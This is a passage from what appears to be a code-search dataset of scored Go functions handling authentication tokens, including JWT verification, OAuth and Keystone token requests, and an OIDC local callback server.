jwt.Parse(encodedToken, func(unverifiedToken *jwt.Token) (interface{}, error) {\n\t\t\tpublicKeyUrl := unverifiedToken.Header[\"jku\"].(string)\n\t\t\tpublicKeyId := unverifiedToken.Header[\"kid\"].(string)\n\n\t\t\tmatched, err := VerifyUrlOnWhiteList(publicKeyUrl, cfg.ConfigTrafficOpsGolang.WhitelistedOAuthUrls)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif !matched {\n\t\t\t\treturn nil, errors.New(\"Key URL from token is not included in the whitelisted urls. Received: \" + publicKeyUrl)\n\t\t\t}\n\n\t\t\tkeys, err := jwk.FetchHTTP(publicKeyUrl)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.New(\"Error fetching JSON key set with message: \" + err.Error())\n\t\t\t}\n\n\t\t\tkeyById := keys.LookupKeyID(publicKeyId)\n\t\t\tif len(keyById) == 0 {\n\t\t\t\treturn nil, errors.New(\"No public key found for id: \" + publicKeyId + \" at url: \" + publicKeyUrl)\n\t\t\t}\n\n\t\t\tselectedKey, err := keyById[0].Materialize()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.New(\"Error materializing key from JSON key set with message: \" + err.Error())\n\t\t\t}\n\n\t\t\treturn selectedKey, nil\n\t\t})\n\t\tif err != nil {\n\t\t\thandleErrs(http.StatusInternalServerError, errors.New(\"Error decoding token with message: \"+err.Error()))\n\t\t\tlog.Errorf(\"Error decoding token: %s\\n\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tauthenticated = decodedToken.Valid\n\n\t\tuserId := decodedToken.Claims.(jwt.MapClaims)[\"sub\"].(string)\n\t\tform.Username = userId\n\n\t\tuserAllowed, err, blockingErr := auth.CheckLocalUserIsAllowed(form, db, time.Duration(cfg.DBQueryTimeoutSeconds)*time.Second)\n\t\tif blockingErr != nil {\n\t\t\tapi.HandleErr(w, r, nil, http.StatusServiceUnavailable, nil, fmt.Errorf(\"error checking local user password: %s\\n\", blockingErr.Error()))\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"checking local user: %s\\n\", err.Error())\n\t\t}\n\n\t\tif userAllowed && authenticated {\n\t\t\texpiry := time.Now().Add(time.Hour * 6)\n\t\t\tcookie := tocookie.New(userId, expiry, cfg.Secrets[0])\n\t\t\thttpCookie := http.Cookie{Name: \"mojolicious\", Value: cookie, Path: \"/\", Expires: expiry, HttpOnly: true}\n\t\t\thttp.SetCookie(w, &httpCookie)\n\t\t\tresp = struct {\n\t\t\t\ttc.Alerts\n\t\t\t}{tc.CreateAlerts(tc.SuccessLevel, \"Successfully logged in.\")}\n\t\t} else {\n\t\t\tresp = struct {\n\t\t\t\ttc.Alerts\n\t\t\t}{tc.CreateAlerts(tc.ErrorLevel, \"Invalid username or password.\")}\n\t\t}\n\n\t\trespBts, err := json.Marshal(resp)\n\t\tif err != nil {\n\t\t\thandleErrs(http.StatusInternalServerError, err)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(tc.ContentType, tc.ApplicationJson)\n\t\tif !authenticated {\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t}\n\t\tif !userAllowed {\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t}\n\t\tfmt.Fprintf(w, \"%s\", respBts)\n\n\t}\n}", "title": "" }, { "docid": "2dba16c151d71a1d7fcd18cec6cf9741", "score": "0.55755997", "text": "func (c *Config) requestToken() (*token, error) {\n\tendpoint, err := url.Parse(c.RequestTokenURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq := &http.Request{\n\t\tURL: endpoint,\n\t\tMethod: \"POST\",\n\t\tProtoMajor: 1,\n\t\tProtoMinor: 1,\n\t\tHeader: http.Header{},\n\t}\n\terr = newAuther(c).setRequestTokenAuthHeader(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tres, err := c.client().Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer res.Body.Close()\n\tif res.StatusCode > 300 {\n\t\t// TODO(bradrydzewski) unmarshal the oauth1 error.\n\t\treturn nil, errors.New(\"Invalid Response\")\n\t}\n\treturn parseToken(res.Body)\n}", "title": "" }, { "docid": "2f19799b9d2ed63052ed5d8dbe9769d8", "score": "0.55493516", "text": "func (b *Broker) validateToken(token string) (int64, error) {\n\treqBody, err := json.Marshal(map[string]string{\n\t\t\"token\": token,\n\t})\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\n\tres, err := b.httpClient.Post(\n\t\t\"http://\"+heimdallHost+authRoute,\n\t\t\"application/json\",\n\t\tbytes.NewBuffer(reqBody),\n\t)\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\n\tif res.StatusCode != http.StatusNotFound && res.StatusCode != http.StatusOK {\n\t\treturn -1, errors.New(\"Failed to validate token\")\n\t} else if res.StatusCode == http.StatusNotFound {\n\t\treturn -1, errors.New(\"Token is invalid\")\n\t}\n\n\tresBody := struct {\n\t\tUserID int64 `json:\"user_id\"`\n\t}{}\n\tdefer res.Body.Close()\n\tif err := json.NewDecoder(res.Body).Decode(&resBody); err != nil {\n\t\treturn -1, err\n\t}\n\n\treturn resBody.UserID, nil\n}", "title": "" }, { "docid": "e1df7cd09c18fecd01209ffe464bdbb6", "score": "0.55460966", "text": "func (r *Client) getToken(method, url string) (string, error) {\n\treq, err := http.NewRequest(method, url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tresp, err := r.Do(req)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"get www-authenticate failed %s\", err)\n\t}\n\n\twwwAuthenticate := resp.Header.Get(\"Www-Authenticate\")\n\tvar realm, service, scope string\n\tfmt.Sscanf(wwwAuthenticate, `Bearer realm=%q,service=%q,scope=%q`, &realm, &service, &scope)\n\n\tauthURL := fmt.Sprintf(\"%s?service=%s&scope=%s\", realm, service, scope)\n\treq, err = http.NewRequest(\"GET\", authURL, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(r.Username) > 0 {\n\t\treq.SetBasicAuth(r.Username, r.Password)\n\t}\n\n\ttoken := struct {\n\t\tToken string `json:\"token\"`\n\t}{}\n\n\t_, err = r.do(req, &token)\n\treturn token.Token, err\n}", "title": "" }, { "docid": "2aef253bdd2b982a781c58e8b2ae61bd", "score": "0.553973", "text": "func VerifyTokenWithExternalEndpoint(env *models.Env, token string, hashedToken string) (*models.MQTTAuthInfos, bool, bool, error) {\n\n\t// Create HTTP Client\n\tclient := &http.Client{}\n\n\t// Init request\n\treq, err := http.NewRequest(\"GET\", env.Config.AuthenticationCheckEndpoint, nil)\n\n\tif err != nil {\n\t\treturn nil, false, false, err\n\t}\n\n\t// Add token header\n\treq.Header.Add(\"token\", token)\n\n\t// Execute request\n\tres, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, false, false, err\n\t}\n\n\t//=============================================================================\n\t// Authentication endpoint should return the following if token is invalid :\n\t//\n\t// HTTP Status Code : 400 (Bad Request)\n\t// Empty Body\n\t//=============================================================================\n\t// Authentication endpoint should return the following if token is valid :\n\t//\n\t// HTTP Status Code : 200 (OK)\n\t// Header(s) : content-type:application/json\n\t// {\"UserID\": \"userID\"}\n\t//=============================================================================\n\tif res.StatusCode == 200 {\n\n\t\t// Parse response to get Original User ID\n\t\tauthCheckerBody := utils.AuthCheckerBody{}\n\t\tjson.NewDecoder(res.Body).Decode(&authCheckerBody)\n\n\t\t// Check if user already has a cached token\n\t\tcachedInternalWaveUserID, cachedOldToken, _ := CheckIfUserAlreadyHasToken(env, authCheckerBody.OriginalUserID)\n\n\t\tif cachedOldToken != \"\" {\n\n\t\t\t// If yes : Update Redis with new token and revoke the older token\n\t\t\tUpdateRedisAndMongoDBWithNewToken(env, authCheckerBody.OriginalUserID, cachedInternalWaveUserID, cachedOldToken, token, hashedToken)\n\n\t\t\t// Return MQTTAuthInfos\n\t\t\treturn models.NewMQTTAuthInfos(cachedInternalWaveUserID, hashedToken), true, true, nil\n\n\t\t} else {\n\n\t\t\t// If no : Create new token store + mapping in Redis\n\t\t\tnewInternalWaveUserID := uuid.NewV4().String()\n\n\t\t\t// Store token in Redis\n\t\t\tenv.Redis.Set(fmt.Sprintf(\"session:%s\", token), []byte(newInternalWaveUserID))\n\n\t\t\t// Store mapping in Redis\n\t\t\tenv.Redis.HSet(fmt.Sprintf(\"mapping:%s\", authCheckerBody.OriginalUserID), \"token\", []byte(token), \"internalWaveUserID\", []byte(newInternalWaveUserID))\n\n\t\t\t// Return MQTTAuthInfos\n\t\t\treturn models.NewMQTTAuthInfos(newInternalWaveUserID, hashedToken), false, false, nil\n\t\t}\n\t}\n\n\treturn nil, false, false, errors.New(logruswrapper.CodeInvalidToken)\n}", "title": "" }, { "docid": "e3f835ef5863c802206b6749ee33dab8", "score": "0.5537468", "text": "func getTokenInfo(token string, authServerURL string) (*User, error) {\n\tvar netClient = &http.Client{\n\t\tTimeout: time.Second * 10,\n\t}\n\n\trq, err := http.NewRequest(\"GET\", authServerURL, nil)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\trq.Header.Add(authorizationHeader, fmt.Sprintf(\"%s %s\", bearerToken, token))\n\trq.Header.Add(contentTypeHeader, jsonContentType)\n\trs, e := netClient.Do(rq)\n\n\tif nil != e {\n\t\treturn nil, e\n\t}\n\tdefer rs.Body.Close()\n\n\tif rs.StatusCode/100 > 2 {\n\t\tuatErr := new(UserInfoErr)\n\n\t\tif err := decodeJSON(rs, uatErr); err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\n\t\te = &authError{\n\t\t\terrorDesc: uatErr,\n\t\t\tstatusCode: rs.StatusCode,\n\t\t}\n\t\treturn nil, e\n\t}\n\tuser := new(User)\n\tif err := decodeJSON(rs, user); err != nil {\n\t\tlog.Error(err)\n\t}\n\treturn user, nil\n}", "title": "" }, { "docid": "70670e2b65bd31bc3efd613e6b90ce3b", "score": "0.5532732", "text": "func (c *SSASClient) GetToken(credentials Credentials) (string, error) {\n\tpublic := conf.GetEnv(\"SSAS_PUBLIC_URL\")\n\ttokenUrl := fmt.Sprintf(\"%s/token\", public)\n\treq, err := http.NewRequest(\"POST\", tokenUrl, nil)\n\tif err != nil {\n\t\treturn \"\", &customErrors.InternalParsingError{Err: err, Msg: constants.RequestStructErr}\n\t}\n\treq.SetBasicAuth(credentials.ClientID, credentials.ClientSecret)\n\n\tresp, err := c.Do(req)\n\tif err != nil {\n\t\tif urlError, ok := err.(*url.Error); ok && urlError.Timeout() {\n\t\t\treturn \"\", &customErrors.RequestTimeoutError{Err: err, Msg: constants.TokenRequestTimeoutErr}\n\t\t} else {\n\t\t\treturn \"\", &customErrors.UnexpectedSSASError{Err: err, SsasStatusCode: resp.StatusCode, Msg: constants.TokenRequestUnexpectedErr}\n\t\t}\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, err := io.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn \"\", &customErrors.UnexpectedSSASError{Err: err, SsasStatusCode: resp.StatusCode, Msg: \"Cannot read response body, token request failed;\"}\n\t\t} else {\n\t\t\tswitch resp.StatusCode {\n\t\t\tcase 401:\n\t\t\t\treturn \"\", &customErrors.SSASErrorUnauthorized{Err: err, SsasStatusCode: resp.StatusCode, Msg: fmt.Sprintf(\"%s, Response Body: %s\", constants.TokenRequestUnexpectedErr, string(b))}\n\t\t\tcase 400:\n\t\t\t\treturn \"\", &customErrors.SSASErrorBadRequest{Err: err, SsasStatusCode: resp.StatusCode, Msg: fmt.Sprintf(\"%s, Response Body: %s\", constants.TokenRequestUnexpectedErr, string(b))}\n\t\t\tdefault:\n\t\t\t\treturn \"\", &customErrors.UnexpectedSSASError{Err: err, SsasStatusCode: resp.StatusCode, Msg: fmt.Sprintf(\"%s, Response Body: %s\", constants.TokenRequestUnexpectedErr, string(b))}\n\t\t\t}\n\t\t}\n\t}\n\n\tvar t = TokenResponse{}\n\tif err = json.NewDecoder(resp.Body).Decode(&t); err != nil {\n\t\treturn \"\", &customErrors.InternalParsingError{Err: err, Msg: \"token request failed - error parsing response to json\"}\n\t}\n\n\treturn fmt.Sprintf(`{\"access_token\": \"%s\", \"expires_in\": \"%s\", \"token_type\":\"bearer\"}`, t.AccessToken, t.ExpiresIn), nil\n}", "title": "" }, { "docid": "3e895562ac548b49c8c0069833354a51", "score": "0.5529681", "text": "func (p *plexConnector) authenticate() error {\n\tp.mu.Lock()\n\tdefer p.mu.Unlock()\n\n\tform := url.Values{}\n\tform.Set(\"user[login]\", p.username)\n\tform.Add(\"user[password]\", p.password)\n\treq, err := http.NewRequest(\"POST\", defPlexLoginURL, strings.NewReader(form.Encode()))\n\tif err != nil {\n\t\treturn err\n\t}\n\tp.fillDefaultHeaders(req)\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar data map[string]interface{}\n\terr = json.NewDecoder(resp.Body).Decode(&data)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to obtain token: %w\", err)\n\t}\n\ttokenGen, ok := get(data, \"user\", \"authToken\")\n\tif !ok {\n\t\treturn fmt.Errorf(\"failed to obtain token: %v\", data)\n\t}\n\ttoken, ok := tokenGen.(string)\n\tif !ok {\n\t\treturn fmt.Errorf(\"failed to obtain token: %v\", data)\n\t}\n\tp.token = token\n\tif p.token != \"\" {\n\t\tif p.saveToken != nil {\n\t\t\tp.saveToken(p.token)\n\t\t}\n\t\tfs.Infof(p.f.Name(), \"Connected to Plex server: %v\", p.url.String())\n\t}\n\tp.listenWebsocket()\n\n\treturn nil\n}", "title": "" }, { "docid": "d44a3ffa325480c8250232aa4f702d17", "score": "0.5504772", "text": "func GetToken(posting int) (string, error) {\n\tformdata := make(map[string]int)\n\tformdata[\"posting\"] = posting\n\tdata, err := json.Marshal(formdata)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// NOTE: don't forget about that weird trailing slash,\n\t// you will receive 405 \"wrong verb\" error without it!\n\treq, err := http.NewRequest(\"POST\", url+\"gentoken/\", bytes.NewReader(data))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tresult := &tokenResponse{}\n\tif err := json.Unmarshal(body, &result); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn result.Token, nil\n}", "title": "" }, { "docid": "8626b7d6417f7780b2da78584fbaac26", "score": "0.54959446", "text": "func (s *App) GetToken(ctx context.Context, req *pbuser.Request) (*pbuser.Result, error) {\n // return sample token for debug\n token, err := auth.CreateToken(req.Username, \"player\")\n if err != nil {\n log.Printf(\"GetTokenError: cannot get token %v\", err)\n return &pbuser.Result{ Token: \"\", DisplayMessage: GetTokenErrorMessage }, err\n }\n return &pbuser.Result{ Token: token, DisplayMessage: GetTokenSuccessMessage }, nil\n}", "title": "" }, { "docid": "ab0bcf309a0d2f9bd6708cd84135522f", "score": "0.5494806", "text": "func (b *backend) pathToken(ctx context.Context, req *logical.Request, d *framework.FieldData) (*logical.Response, error) {\n\tname := d.Get(\"name\").(string)\n\trefresh := d.Get(\"refresh\").(bool)\n\n\tapiUrl := \"https://login.microsoftonline.com/common/oauth2/token\"\n\n\tvar config Config\n\trawConfig, err := req.Storage.Get(ctx, \"config/\" + name)\n\tjson.Unmarshal(rawConfig.Value, &config)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif refresh == false {\n\t\traw, tokenErr := req.Storage.Get(ctx, \"token/\" + name)\n\t\tif tokenErr == nil && raw != nil {\n\t\t\tvar accessToken AccessToken\n\t\t\tjson.Unmarshal(raw.Value, &accessToken)\n\n\t\t\t// return cached token if its TTL is more than 30 mins\n\t\t\tif (accessToken.ExpiresOn - int(time.Now().Unix())) > 60*30 {\n\t\t\t\treturn &logical.Response{\n\t\t\t\t\tData: map[string]interface{}{\n\t\t\t\t\t\t\"access_token\": accessToken.Token,\n\t\t\t\t\t\t\"expires_on\": accessToken.ExpiresOn,\n\t\t\t\t\t},\n\t\t\t\t}, nil\n\t\t\t}\n\t\t}\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparams := map[string]string{\n\t \"grant_type\": \"password\",\n\t \"resource\": \"https://analysis.windows.net/powerbi/api\",\n\t \"client_id\": config.ClientId,\n\t \"client_secret\": config.ClientSecret,\n\t \"username\": config.Username,\n\t \"password\": config.Password,\n\t}\n\tdata := url.Values{}\n\n\tfor k, v := range params { \n\t\tdata.Add(k, v)\n\t}\n\n\tclient := &http.Client{}\n r, _ := http.NewRequest(\"POST\", apiUrl, strings.NewReader(data.Encode()))\n r.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n resp, _ := client.Do(r)\n defer resp.Body.Close()\n bodyBytes, _ := ioutil.ReadAll(resp.Body)\n\n bodyMap := make(map[string]string)\n\tjson.Unmarshal(bodyBytes, &bodyMap)\n\n\texpiresOn, _ := strconv.Atoi(bodyMap[\"expires_on\"])\n\taccessToken := AccessToken{bodyMap[\"access_token\"], expiresOn}\n\n\tentry, err := logical.StorageEntryJSON(\"token/\" + name, accessToken)\n\treq.Storage.Put(ctx, entry)\n\n\treturn &logical.Response{\n\t\tData: map[string]interface{}{\n\t\t\t\"access_token\": bodyMap[\"access_token\"],\n\t\t\t\"expires_on\": bodyMap[\"expires_on\"],\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "644598f4160b6504d5fdcc2056ddf15a", "score": "0.54896986", "text": "func (a *prTokenApp) getToken(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tToken := PrToken{}\n\n\terr := Token.getToken(a.DB, vars[\"uid\"])\n\tif err != nil {\n\t\trespondWithError(w, http.StatusNotFound, err.Error())\n\t\treturn\n\t}\n\n\trespondWithJSON(w, http.StatusOK, Token)\n}", "title": "" }, { "docid": "e38ba48eb043f1e77cde6588c20d6e8f", "score": "0.5481661", "text": "func get_token(tenant string) (token string, tenant_id string) {\n\n\t// Load config variables\n\tvar USER_NAME = get_config_val(\"USER_NAME\")\n\tvar PASSWORD = get_config_val(\"PASSWORD\")\n\tvar KEYSTONE_GET_TOKEN_URL = get_config_val(\"KEYSTONE_GET_TOKEN_URL\")\n\n\t// Create Auth Body for CURL request\n\tauth := AuthHeader{}\n\tauth.Auth.TenantName = tenant\n\tauth.Auth.PasswordCredentials.Username = USER_NAME\n\tauth.Auth.PasswordCredentials.Password = PASSWORD\n\n\t// Convert it into bytes\n\tauth_bytes := new(bytes.Buffer)\n\tjson.NewEncoder(auth_bytes).Encode(auth)\n\n\t// Make the POST call\n\tresp, err := http.Post(KEYSTONE_GET_TOKEN_URL, \"application/json\", auth_bytes)\n\tif err != nil {\n\t\tlog.Printf(\"POST to %s returned error: %v\\n\", KEYSTONE_GET_TOKEN_URL, err)\n\t\treturn \"\", \"\"\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Printf(\"Getting token failed with status: %s\\n\", resp.Status)\n\t\treturn \"\", \"\"\n\t}\n\n\t// Store it as string\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tcheckErr(err)\n\n\t// Get token\n\ttoken, err = jsonparser.GetString(body, \"access\", \"token\", \"id\")\n\tcheckErr(err)\n\n\t// Get Tenant ID\n\ttenant_id, err = jsonparser.GetString(body, \"access\", \"token\", \"tenant\", \"id\")\n\tcheckErr(err)\n\n\treturn token, tenant_id\n}", "title": "" }, { "docid": "b7c5cf50ae23191d8ca5c8de310d8871", "score": "0.54783314", "text": "func (client *Client) CheckToken(tkn string) *token.TokenData {\n\thost, err := client.getHost()\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\thost.Path = path.Join(host.Path, \"token\", tkn)\n\n\treq, _ := http.NewRequest(\"GET\", host.String(), nil)\n\treq.Header.Add(\"x-tidepool-session-token\", client.serverToken)\n\n\tres, err := client.httpClient.Do(req)\n\tif err != nil {\n\t\tlog.Println(\"Error checking token\", err)\n\t\treturn nil\n\t}\n\tdefer res.Body.Close()\n\n\tswitch res.StatusCode {\n\tcase 200:\n\t\tvar td token.TokenData\n\t\tif err = json.NewDecoder(res.Body).Decode(&td); err != nil {\n\t\t\tlog.Println(\"Error parsing JSON results\", err)\n\t\t\treturn nil\n\t\t}\n\t\treturn &td\n\tcase 404:\n\t\treturn nil\n\tdefault:\n\t\tlog.Printf(\"Unknown response code[%d] from service[%s]\", res.StatusCode, host.String())\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "c0c0eaf330d017c036ebab103ac749fc", "score": "0.5474911", "text": "func (o *SharedDashboard) GetTokenOk() (*string, bool) {\n\tif o == nil || o.Token == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Token, true\n}", "title": "" }, { "docid": "434e652a439f8fcd10d1ad854db8917e", "score": "0.5472716", "text": "func (i *IdentityHelper) GenerateToken(a *Api) error {\n\tresp, err := a.c.ShowStatus(context.Background(), \"api/login/generate\")\n\ta.resp = resp\n\ta.err = err\n\n\t// Option 1 - Extarct the 1st token from the html Data in the reponse\n\tdefer a.resp.Body.Close()\n\thtmlData, err := ioutil.ReadAll(a.resp.Body)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\t//fmt.Println(\"[[[\", string(htmlData), \"]]]\")\n\tlastBin := strings.LastIndex(string(htmlData), \"\\\"},{\\\"token\\\":\\\"\")\n\t//fmt.Printf(\"The token to use is: %v\\n\", string(htmlData)[11:lastBin])\n\n\t// Option 2 - Extract the 1st token from JSON in the response\n\tlastBin = strings.LastIndex(string(htmlData), \",\")\n\t//fmt.Printf(\"The token to use is: %v\\n\", string(htmlData)[1:lastBin])\n\n\t// TODO - Extract the token from the JSON map read from the html Data in the response\n\tbyt := []byte(string(htmlData)[1:lastBin])\n\tvar keys map[string]interface{}\n\tjson.Unmarshal(byt, &keys)\n\ttoken := fmt.Sprint(keys[\"token\"])\n\tif token == \"\" {\n\t\treturn fmt.Errorf(\"Failed to obtain a login token\")\n\t}\n\ti.savedToken = token\n\n\t//key := \"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmdWxsTmFtZSI6IlRlc3QgRGV2ZWxvcGVyIiwiaW1hZ2VVUkwiOiIiLCJ1dWlkIjoiNGI4Zjk0YjUtYWQ4OS00NzI1LWI1ZTUtNDFkNmJiNzdkZjFiIn0.ML2N_P2qm-CMBliUA1Mqzn0KKAvb9oVMbyynVkcyQq3myumGeCMUI2jy56KPuwIHySv7i-aCUl4cfIjG-8NCuS4EbFSp3ja0zpsv1UDyW6tr-T7jgAGk-9ALWxcUUEhLYSnxJoEwZPQUFNTWLYGWJiIOgM86__OBQV6qhuVwjuMlikYaHIKPnetCXqLTMe05YGrbxp7xgnWMlk9tfaxgxAJF5W6WmOlGaRg01zgvoxkRV-2C6blimddiaOlK0VIsbOiLQ04t9QA8bm9raLWX4xOkXN4ubpdsobEzcJaTD7XW0pOeWPWZY2cXCQulcAxfIy6UmCXA14C07gyuRs86Rw\" // call api to get key\n\ta.c.SetJWTSigner(&goaclient.APIKeySigner{\n\t\tSignQuery: false,\n\t\tKeyName: \"Authorization\",\n\t\tKeyValue: i.savedToken,\n\t\tFormat: \"Bearer %s\",\n\t})\n\n\tuserResp, userErr := a.c.ShowUser(context.Background(), \"/api/user\")\n\tvar user map[string]interface{}\n\tjson.NewDecoder(userResp.Body).Decode(&user)\n\n\tif userErr != nil {\n\t\tfmt.Printf(\"Error: %s\", userErr)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e87e7c8da9450f1f50f386ab8f7da3a3", "score": "0.5435216", "text": "func (s *LocalOIDCTokenSource) Token(ctx context.Context) (*oidc.Token, error) {\n\ts.Lock()\n\tdefer s.Unlock()\n\n\tstate, err := randomStateValue()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttype result struct {\n\t\tcode string\n\t\terr error\n\t}\n\tresultCh := make(chan result, 1)\n\n\tmux := http.NewServeMux()\n\n\tvar calls int32\n\tmux.HandleFunc(\"/callback\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif errMsg := r.FormValue(\"error\"); errMsg != \"\" {\n\t\t\terr := fmt.Errorf(\"%s: %s\", errMsg, r.FormValue(\"error_description\"))\n\t\t\tresultCh <- result{err: err}\n\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t_ = s.renderer.RenderLocalTokenSourceError(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tcode := r.FormValue(\"code\")\n\t\tif code == \"\" {\n\t\t\terr := errors.New(\"no code in request\")\n\t\t\tresultCh <- result{err: err}\n\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t_ = s.renderer.RenderLocalTokenSourceError(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tgotState := r.FormValue(\"state\")\n\t\tif gotState == \"\" || gotState != state {\n\t\t\terr := errors.New(\"bad state\")\n\t\t\tresultCh <- result{err: err}\n\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t_ = s.renderer.RenderLocalTokenSourceError(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif atomic.AddInt32(&calls, 1) > 1 {\n\t\t\t// Callback has been invoked multiple times, which should not happen.\n\t\t\t// Bomb out to avoid a blocking channel write and to float this as a bug.\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t_ = s.renderer.RenderLocalTokenSourceError(w, \"callback invoked multiple times\")\n\t\t\treturn\n\t\t}\n\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_ = s.renderer.RenderLocalTokenSourceTokenIssued(w)\n\n\t\tresultCh <- result{code: code}\n\t})\n\n\tif h, ok := s.renderer.(http.Handler); ok {\n\t\tmux.Handle(\"/\", h)\n\t}\n\n\thttpSrv := &http.Server{Handler: mux}\n\n\tln, err := newLocalTCPListenerInRange(s.portLow, s.portHigh)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to bind socket\")\n\t}\n\tdefer func() { _ = ln.Close() }()\n\ttcpAddr := ln.Addr().(*net.TCPAddr)\n\n\tgo func() { _ = httpSrv.Serve(ln) }()\n\tdefer func() { _ = httpSrv.Shutdown(ctx) }()\n\n\tauthCodeOpts := []oidc.AuthCodeOption{}\n\tif s.nonceGenerator != nil {\n\t\tnonce, err := s.nonceGenerator(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to generate nonce: %v\", err)\n\t\t}\n\n\t\tauthCodeOpts = append(authCodeOpts, oidc.SetNonce(nonce))\n\t}\n\n\t// we need to update this each invocation\n\ts.client.SetRedirectURL(fmt.Sprintf(\"http://127.0.0.1:%d/callback\", tcpAddr.Port))\n\n\tauthURL := s.client.AuthCodeURL(state, authCodeOpts...)\n\n\tif err := s.opener.Open(ctx, authURL); err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to open URL\")\n\t}\n\n\tvar res result\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn nil, ctx.Err()\n\tcase res = <-resultCh:\n\t\t// continue\n\t}\n\n\tif res.err != nil {\n\t\treturn nil, res.err\n\t}\n\n\treturn s.client.Exchange(ctx, res.code)\n}", "title": "" }, { "docid": "5ae044d6d8da1944ae91bfcab3ab86a9", "score": "0.5433177", "text": "func (t *tokenSource) Token() (*oauth2.Token, error){\n return t.token, nil\n}", "title": "" }, { "docid": "6d98677490c0459af2879fba9b9aa6d9", "score": "0.5419752", "text": "func (d DeviceCode) Token(ctx context.Context) (accesstokens.TokenResponse, error) {\n\tif d.accessTokens == nil {\n\t\treturn accesstokens.TokenResponse{}, fmt.Errorf(\"DeviceCode was either created outside its package or the creating method had an error. DeviceCode is not valid\")\n\t}\n\n\tvar cancel context.CancelFunc\n\tif deadline, ok := ctx.Deadline(); !ok || d.Result.ExpiresOn.Before(deadline) {\n\t\tctx, cancel = context.WithDeadline(ctx, d.Result.ExpiresOn)\n\t} else {\n\t\tctx, cancel = context.WithCancel(ctx)\n\t}\n\tdefer cancel()\n\n\tvar interval = 50 * time.Millisecond\n\ttimer := time.NewTimer(interval)\n\tdefer timer.Stop()\n\n\tfor {\n\t\ttimer.Reset(interval)\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn accesstokens.TokenResponse{}, ctx.Err()\n\t\tcase <-timer.C:\n\t\t\tinterval += interval * 2\n\t\t\tif interval > 5*time.Second {\n\t\t\t\tinterval = 5 * time.Second\n\t\t\t}\n\t\t}\n\n\t\ttoken, err := d.accessTokens.FromDeviceCodeResult(ctx, d.authParams, d.Result)\n\t\tif err != nil && isWaitDeviceCodeErr(err) {\n\t\t\tcontinue\n\t\t}\n\t\treturn token, err // This handles if it was a non-wait error or success\n\t}\n}", "title": "" }, { "docid": "03e4a7fd3a8236898331a61d1cda6798", "score": "0.5413952", "text": "func (v *TokenValidator) CheckToken(r *http.Request) *Token {\n\tstr := r.Header.Get(\"X-Auth-Token\")\n\tif str == \"\" {\n\t\treturn &Token{Err: errors.New(\"X-Auth-Token header missing\")}\n\t}\n\n\tresponse := tokens.Get(v.IdentityV3, str)\n\tif response.Err != nil {\n\t\t//this includes 4xx responses, so after this point, we can be sure that the token is valid\n\t\treturn &Token{Err: response.Err}\n\t}\n\n\treturn v.TokenFromGophercloudResult(response)\n}", "title": "" }, { "docid": "f35c5d528c446837ff21f0ad8c90a1d3", "score": "0.5409376", "text": "func (lh *LoginHandler) 